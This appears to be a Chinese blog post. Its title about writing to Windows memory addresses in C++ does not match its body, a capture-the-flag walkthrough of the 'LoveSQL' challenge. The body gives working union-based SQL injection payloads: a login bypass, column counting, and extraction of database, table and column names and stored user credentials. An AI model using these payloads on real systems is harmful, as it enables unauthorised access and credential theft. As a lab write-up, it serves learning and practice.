0
点赞
收藏
分享

微信扫一扫

C++向指定内存地址写入数据(Windows)

龙毓七七 2023-09-30 阅读 29

题目

打开页面显示如下

查看源代码,查到一个check.php,还是get传参

尝试账号密码输入

题目名为sql,用万能密码

1'or 1=1#
或
admin' or '1'='1'

给了一段乱码,也不是flag

查看字段数

/check.php?username=admin' order by 3%23&password=1

到4时报错,说明字段数为3

用union来查询测试注入点,查看回显点

构造payload

/check.php?username=1' union select 1,2,3%23&password=1

显示回显点为2和3

查看数据库

/check.php?username=1' union select 1,database(),version()%23&password=1

可得到数据库名为geek 

查看数据表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到两个数据表

查看表中字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

字段都是一样的

查看表中数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

 geekuser表中数据为

l0ve1ysq1表中数据为

查看不全,看源代码

总结

用union来查询测试注入点,查看回显点

参考文章链接:

CTF-Web-[极客大挑战 2019]LoveSQL - 知乎

LoveSQL-CSDN博客

举报

相关推荐

0 条评论